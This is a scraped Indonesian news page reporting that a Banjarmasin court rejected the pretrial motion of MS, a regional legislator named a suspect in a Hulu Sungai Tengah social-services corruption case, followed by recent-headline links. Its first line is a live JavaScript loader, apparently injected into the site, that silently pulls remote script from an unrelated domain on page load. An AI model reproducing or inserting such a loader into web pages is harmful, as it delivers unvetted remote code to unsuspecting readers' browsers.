(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Permohonan Praperadilan Tersangka Korupsi Dinsos HST Ditolak, Anggota DPRD HST Bakal Jalani Persidangan


KANALKALIMANTAN.COM, BANJARMASIN – Hakim tunggal Pengadilan Negeri (PN) Banjarmasin Suwandi SH MH menolak seluruh permohonan gugatan praperadilan tersangka kasus dugaan korupsi di Dinas Sosial (Dinsos) Kabupaten Hulu sungai Tengah (HST).

Hakim menyatakan penetapan tersangka MS oleh penyidik Kejaksaan Tinggi (Kejati) Kalimantan Selatan (Kalsel) dianggap sah.

“Dalam pokok permohonan, menolak permohonan praperadilan pemohon untuk seluruhnya,” kata Suwandi membacakan amar putusan.

Baca juga: Perintah Megawati, PDIP Siap Menangkan Lisa-Wartono di Pilkada Banjarbaru

Asisten Pidana Khusus (Aspidsus) Kejati Kalsel Dr Abdul Mubin. Foto: rizki

Sidang yang berlangsung Selasa (1/10/2024) siang itu, dihadiri pengacara pemohon dan termohon Kejati Kalsel diwakili oleh Asisten Pidana Khusus (Aspidsus) Kejati Kalsel Dr Abdul Mubin.

Putusan dibacakan setelah hakim mendengarkan keterangan saksi dan ahli yang dihadirkan pemohon maupun termohon pada sidang sebelumnya.

Usai pembacaan putusan, Abdul Mubin mengatakan berdasarkan pertimbangan hakim, pemohon tidak dapat membuktikan letak tidak sahnya penetapan tersangka.

Baca juga: Dugaan Pelanggaran Spanduk Paslon di Rumdin Sewa, Begini Respon Bawaslu Banjarbaru

Penetapan tersangka yang didasari dua alat bukti yang sah, kata Aspidsus, dapat mereka buktikan di persidangan.

Adanya keterangan saksi, ahli, dan adanya surat, sehingga penetapan tersangka sah.

“Sah tidaknya penetapan tersangka harus dibuktikan minimal dua bukti, dan dua alat bukti kami dapat buktikan,” ungkap Aspidsus Kejati Kalsel.

Baca juga: PLN Pastikan Pasokan Listrik GI Seberang Barito Semakin Andal

Masih lanjut Aspidsus, berdasarkan putusan praperadilan tersebut, penyidik Kejati Kalsel akan melakukan proses penyelidikan untuk melengkapi berkas sebelum diserahkan ke jaksa penuntut umum dan dilimpahkan ke pengadilan.

Sekadar diketahui, sebelumya MS ditetapkan sebagai tersangka pada kasus dugaan korupsi program kader sosial pada Dinsos Kabupaten HST tahun anggaran 2022.

MS merupakan kader Partai Demokrat dan terpilih Pileg 2024, serta baru dilantik sebagai anggota DPRD Kabupaten HST 2024-2029.

Baca juga: e“Cerita Rasa” Imajinasi Pelukis Perempuan di Kala Café Banjarbaru

MS menyusul Plt Kadinsos HST WR yang lebih dulu ditetapkan sebagai tersangka pada kasus yang sama.

Oleh penyidik Kejati Kalsel, tersangka dijerat dengan primair Pasal 2 Ayat (1) jo Pasal 18 Undang-undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi juncto Pasal 55 Ayat (1) ke-1 KUHP. Subsidair Pasal 3 jo Undang-undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi juncto Pasal 55 Ayat (1) ke-1 KUHP.(Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Penyelewengan BBM Subsidi di Banjarmasin, Polisi Sita 2.035 Liter Pertalite

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Polisi Air dan Udara (Satpolairud) Polres Banjarmasin mengungkap kasus bisnis ilegal… Read More

5 jam ago

Pelantikan PAW Komisioner KPU Banjarbaru Tunggu KPU RI

KANALKALIMANTAN.COM, BANJARBARU - Proses Penggantian Antar Waktu (PAW) Komisioner KPU Banjarbaru masih berjalan, meski tahapan… Read More

17 jam ago

Talk Show HUT ke-8 RSD Idaman Seni Mengelola Konflik dalam Rumah Tangga

KANALKALIMANTAN.COM, BANJARBARU - Menyemarakan penandaan Haru Ulang Tahun (HUT), Rumah Sakit Daerah Idaman (RSDI) menggelar… Read More

18 jam ago

2.069 Pelajar SD se HSU Ikuti Khataman Al Qur’an

KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 2.069 pelajar Sekolah Dasar (SD) se Kabupaten Hulu Sungai Utara (HSU)… Read More

1 hari ago

Curi Mobil Nyamar Petugas Parkir Wisuda Kampus ULM, MSR Diringkus Polisi

KANALKALIMANTAN.COM, BANJARBARU - Dua unit mobil hilang saat terparkir di kampus Universitas Lambung Mangkurat (ULM)… Read More

1 hari ago

Nasib Tiga Proyek Dinas PUPR Kalsel Pasca OTT KPK

KANALKALIMANTAN.COM, BANJARBARU - Lebih sepekan sudah pasca Operasi Tangkap Tangan (OTT) Komisi Pemberantasan Korupsi (KPK)… Read More

1 hari ago

This website uses cookies.